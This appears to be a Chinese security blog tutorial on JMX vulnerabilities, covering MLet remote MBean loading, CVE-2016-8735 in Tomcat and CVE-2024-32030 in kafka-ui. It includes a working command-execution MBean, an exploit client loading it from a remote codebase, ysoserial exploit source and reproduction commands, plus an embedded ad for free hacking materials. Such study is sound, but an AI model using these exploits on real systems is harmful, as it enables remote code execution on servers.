前言
前段时间看到普元 eos platform 爆了这个洞,apache james,kafka-ui 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。
jmx 基础
jmx 前置知识
jmx(java management extensions,即 java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。jmx 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。
可以简单理解 jmx 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。
jmx 的结构一共分为三层:
1、基础层:主要是 mbean,被管理的资源。分为四种,常用需要关注的是两种。
-
standard mbean 这种类型的 mbean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 mbean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 mbean 为 hello,则接口必须为 hellombean。
-
dynamic mbean 必须实现 javax.management.dynamicmbean 接口,所有的属性,方法都在运行时定义。2、适配层:mbeanserver,主要是提供对资源的注册和管理。3、接入层:connector,提供远程访问的入口。
jmx 基础代码实践
以下代码实现简单的 jmx demo,文件结构
├── helloworld.java ├── helloworldmbean.java └── jmxdemo.java
helloworldmbean.java
package org.example; public interface helloworldmbean { public void sayhello(); public int add(int x, int y); public string getname(); }
helloworld.java
package org.example; public class helloworld implements helloworldmbean{ private string name = "drunkbaby"; @override public void sayhello() { system.out.println("hello world" + this.name); } @override public int add(int x, int y) { return x + y; } @override public string getname() { return this.name; } }
jmxdemo.java
package org.example; import javax.management.mbeanserver; import javax.management.objectname; import javax.management.remote.jmxconnectorserver; import javax.management.remote.jmxconnectorserverfactory; import javax.management.remote.jmxserviceurl; import java.lang.management.managementfactory; import java.rmi.registry.locateregistry; import java.rmi.registry.registry; public class jmxdemo { public static void main(string[] args) throws exception{ mbeanserver mbeanserver = managementfactory.getplatformmbeanserver(); objectname mbsname = new objectname("test:type=helloworld"); helloworld mbean = new helloworld(); mbeanserver.registermbean(mbean, mbsname); // 创建一个 rmi registry registry registry = locateregistry.createregistry(1099); // 构造 jmxserviceurl,绑定创建的 rmi jmxserviceurl jmxserviceurl = new jmxserviceurl("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); // 构造jmxconnectorserver,关联 mbserver jmxconnectorserver jmxconnectorserver = jmxconnectorserverfactory.newjmxconnectorserver(jmxserviceurl, null, mbeanserver); jmxconnectorserver.start(); system.out.println("jmxconnectorserver is ready"); system.out.println("press any key to exit."); system.in.read(); } }
其中
-
probe level:创建了 helloworldmbean 实例 mbean
-
agent level:创建了 mbeanserver 实例 mbs
-
remote management level: 创建了jmxserviceurl,绑定到本地 1099 rmi,关联到mbeanserver mbs
jmx 安全问题
jmx 的安全问题主要发生在以下三处
1、jmx2、mbean3、rmi
其中通过利用 mlet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 mlet 的漏洞利用及原理。
mlet
攻击过程:
-
启动托管 mlet 和含有恶意 mbean 的 jar 文件的 web 服务器
-
使用jmx在目标服务器上创建
mbeanjavax.management.loading.mlet
的实例 -
调用 mbean 实例的 getmbeansfromurl 方法,将 web 服务器 url 作为参数进行传递。jmx 服务将连接到http服务器并解析mlet文件
-
jmx 服务下载并归档 mlet 文件中引用的 jar 文件,使恶意 mbean 可通过 jmx 获取
-
攻击者最终调用来自恶意 mbean 的方法
-
下面我们来编写一个漏洞实例。
evil mbean
文件结构
├── evil.java └── evilmbean.java
evilmbean.java
package com.drunkbaby.mlet; public interface evilmbean { public string runcommand(string cmd); }
evil.java
package com.drunkbaby.mlet; import java.io.bufferedreader; import java.io.inputstreamreader; public class evil implements evilmbean { public string runcommand(string cmd) { try { runtime rt = runtime.getruntime(); process proc = rt.exec(cmd); bufferedreader stdinput = new bufferedreader(new inputstreamreader(proc.getinputstream())); bufferedreader stderror = new bufferedreader(new inputstreamreader(proc.geterrorstream())); string stdout_err_data = ""; string s; while ((s = stdinput.readline()) != null) { stdout_err_data += s+"\n"; } while ((s = stderror.readline()) != null) { stdout_err_data += s+"\n"; } proc.waitfor(); return stdout_err_data; } catch (exception e) { return e.tostring(); } } }
mlet server
将原本的文件打包为 jar 包。步骤省略了,就是 build artifacts。随后编写 evil.html
<html><mlet code="com.drunkbaby.mlet.evil" archive="jmx.jar" name="mletcompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>
整体结构如图
attack code
exploitjmxbyremotembean.java
package com.drunkbaby.mlet; import javax.management.mbeanserverconnection; import javax.management.objectinstance; import javax.management.objectname; import javax.management.remote.jmxconnector; import javax.management.remote.jmxconnectorfactory; import javax.management.remote.jmxserviceurl; import java.net.malformedurlexception; import java.util.hashset; import java.util.iterator; public class exploitjmxbyremotembean { public static void main(string[] args) { try { // connectandown(args[0], args[1], args[2]); connectandown("localhost","1099","open -a calculator"); } catch (exception e) { e.printstacktrace(); } } static void connectandown(string servername, string port, string command) throws malformedurlexception { try { // step1. 通过rmi创建 jmx连接 jmxserviceurl u = new jmxserviceurl("service:jmx:rmi:///jndi/rmi://" + servername + ":" + port + "/jmxrmi"); system.out.println("url: " + u + ", connecting"); jmxconnector c = jmxconnectorfactory.connect(u); system.out.println("connected: " + c.getconnectionid()); mbeanserverconnection m = c.getmbeanserverconnection(); // step2. 加载特殊mbean:javax.management.loading.mlet objectinstance evil_bean = null; objectinstance evil = null; try { evil = m.creatembean("javax.management.loading.mlet", null); } catch (javax.management.instancealreadyexistsexception e) { evil = m.getobjectinstance(new objectname("defaultdomain:type=mlet")); } // step3:通过mlet加载远程恶意mbean system.out.println("loaded "+evil.getclassname()); object res = m.invoke(evil.getobjectname(), "getmbeansfromurl", new object[] { "http://localhost:4141/evil.html"}, new string[] { string.class.getname() } ); hashset res_set = ((hashset)res); iterator itr = res_set.iterator(); object nextobject = itr.next(); if (nextobject instanceof exception) { throw ((exception)nextobject); } evil_bean = ((objectinstance)nextobject); // step4: 执行恶意mbean system.out.println("loaded class: "+evil_bean.getclassname()+" object "+evil_bean.getobjectname()); system.out.println("calling runcommand with: "+command); object result = m.invoke(evil_bean.getobjectname(), "runcommand", new object[]{ command }, new string[]{ string.class.getname() }); system.out.println("result: "+result); } catch (exception e) { e.printstacktrace(); } } }
很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 mbean,关于 mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:dctintin,备注 “开源中国” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+src 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 cissp 认证考试指南 + 题库
⑥ 超 1800 页 ctf 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ app 客户端安全检测指南(安卓 + ios)
jmx 反序列化漏洞
在实际场景中 jmx 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
jmx 自身反序列化漏洞 —— cve-2016-3427/cve-2016-8735
漏洞描述
这其实是 jdk 的洞 —— jmx 导致的,但是由于 tomcat 没有及时打补丁,所以这个漏洞被披露在 tomcat 中。该漏洞的底层原因是由于 tomcat 在配置 jmx 做监控时使用了 jmxremotelifecyclelistener()
方法。
-
漏洞利用前置条件为 jmxremotelifecyclelistener 监听的 10001 和 10002 端口被开放。
影响版本
apache tomcat 9.0.0.m1 - 9.0.0.m11 apache tomcat 8.5.0 - 8.5.6 apache tomcat 8.0.0.rc1 - 8.0.38 apache tomcat 7.0.0 - 7.0.72 apache tomcat 6.0.0 - 6.0.47
环境搭建
https://github.com/drun1baby/cve-reproduction-and-analysis/tree/main/apache/tomcat/cve-2016-8735
需要添加一个 listener 和 catalina.sh
,网上教程都有,包括两个 jar 包,我这里不再赘述了。
漏洞复现
-
漏洞复现的 exp 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.rmiregistryexploit localhost 10001 groovy1 "touch /tmp/success"
漏洞触发点 org.apache.catalina.mbeans.jmxremotelifecyclelistener#createserver
try { rmijrmpserverimpl server = new rmijrmpserverimpl(this.rmiserverportplatform, servercsf, serverssf, theenv); cs = new rmiconnectorserver(serviceurl, theenv, server, managementfactory.getplatformmbeanserver()); cs.start(); registry.bind("jmxrmi", server); log.info(sm.getstring("jmxremotelifecyclelistener.start", new object[]{integer.tostring(thermiregistryport), integer.tostring(thermiserverport), servername})); } catch (alreadyboundexception | ioexception var15) { log.error(sm.getstring("jmxremotelifecyclelistener.createserverfailed", new object[]{servername}), var15); }
很经典的手法,registry.bind()
调用反序列化,接着通过 grovvy1 链触发
同样这里其实也是用 rmi 协议来打的。
利用 mlet 的方式动态加载 mbean
这个有点意思,上面在讲 mlet 攻击的时候其实我们有提到,mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 jmx 调用远程 mbean 方法有以下流程:
1、mbean name、mbean function name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 marshalledobject,通过 readobject 转换为字符串。2、rmi server监听到网络请求,包含mbean name、mbean function name、 params,其中params经过marshalledobject.readobject() 反序列化,再通过invoke调用原函数。
所以这里只需要我们恶意构造 string 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 jmxinvokembean
package ysoserial.exploit; import javax.management.mbeanserverconnection; import javax.management.objectname; import javax.management.remote.jmxconnector; import javax.management.remote.jmxconnectorfactory; import javax.management.remote.jmxserviceurl; import ysoserial.payloads.objectpayload.utils; /* * utility program for exploiting rmi based jmx services running with required gadgets available in their classloader. * attempts to exploit the service by invoking a method on a exposed mbean, passing the payload as argument. * */ public class jmxinvokembean { public static void main(string[] args) throws exception { if ( args.length < 4 ) { system.err.println(jmxinvokembean.class.getname() + " <host> <port> <payload_type> <payload_arg>"); system.exit(-1); } jmxserviceurl url = new jmxserviceurl("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); jmxconnector jmxconnector = jmxconnectorfactory.connect(url); mbeanserverconnection mbeanserverconnection = jmxconnector.getmbeanserverconnection(); // create the payload object payloadobject = utils.makepayloadobject(args[2], args[3]); objectname mbeanname = new objectname("java.util.logging:type=logging"); mbeanserverconnection.invoke(mbeanname, "getloggerlevel", new object[]{payloadobject}, new string[]{string.class.getcanonicalname()}); //close the connection jmxconnector.close(); } }
我看下来两种漏洞利用的最终思路是很类似的,都是 rmi 去打反序列化,不一样的点在于一个是利用 rmixxx.bind()
另外一种是在用 jmx:rmi//
协议去打。
当漏洞照进现实 —— cve-2024-32030 kafka-ui 反序列化漏洞
https://securitylab.github.com/advisories/ghsl-2023-229_ghsl-2023-230_kafka-ui/#/
漏洞描述
kafka ui 是 apache kafka 管理的开源 web ui。kafka ui api 允许用户通过指定网络地址和端口连接到不同的 kafka brokers。作为一个独立的功能,它还提供了通过连接到其 jmx 端口监视 kafka brokers 性能的能力。cve-2024-32030 中,由于默认情况下 kafka ui 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。
影响版本
kafka-ui <= 0.7.1
环境搭建
kafka-ui 的 docker
version: '3.8' services: kafka-ui: image: provectuslabs/kafka-ui:v0.7.1 container_name: kafka-ui environment: - dynamic_config_enabled=true - java_opts=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ports: - "8080:8080" - "5005:5005"
kafka 的 ui,之前分析 kafka 漏洞的时候就写过了
version: '2' services: zookeeper: image: zookeeper restart: always ports: - "2181:2181" container_name: zookeeper kafka: image: wurstmeister/kafka restart: always ports: - "9092:9092" - "9094:9094" depends_on: - zookeeper environment: kafka_advertised_host_name: 127.0.0.1 kafka_zookeeper_connect: zookeeper:2181 kafka_listeners: plaintext://0.0.0.0:9092,ssl://0.0.0.0:9094 kafka_advertised_listeners: plaintext://127.0.0.1:9092,ssl://127.0.0.1:9094 kafka_listener_security_protocol_map: plaintext:plaintext,ssl:ssl kafka_inter_broker_listener_name: plaintext container_name: kafka
漏洞复现
使用 ysoserial 直接打,起一个恶意的 jmx 服务。
git clone https://github.com/artsploit/ysoserial/ cd ysoserial && git checkout scala1 mvn package -d skiptests=true #make sure you use java 8 for compilation, it might not compile with recent versions java -cp target/ysoserial-0.0.6-snapshot-all.jar ysoserial.exploit.jrmplistener 1718 scala1 "org.apache.commons.collections.enableunsafeserialization:true"
开启了之后,使用 kafka-ui 去连接该 jmx
第一步先开启 org.apache.commons.collections.enableunsafeserialization:true
,再进行 cc 的反序列化。
服务器接收到恶意的请求
随后第二步直接使用 cc 链打。
java -cp target/ysoserial-0.0.6-snapshot-all.jar ysoserial.exploit.jrmplistener 1718 commonscollections7 "touch /tmp/pwnd2.txt"
攻击成功
漏洞分析
通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.clusterscontroller#updateclusterinfo
最终的触发点是在com.provectus.kafka.ui.service.metrics.jmxmetricsretriever#retrievesync
方法
后面其实就是 rmi 的部分了,当然这里还涉及到了 scala1 链暂时不展开。
这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 cc3 更新成了 cc4。所以其实还是存在一定的绕过的。
发表评论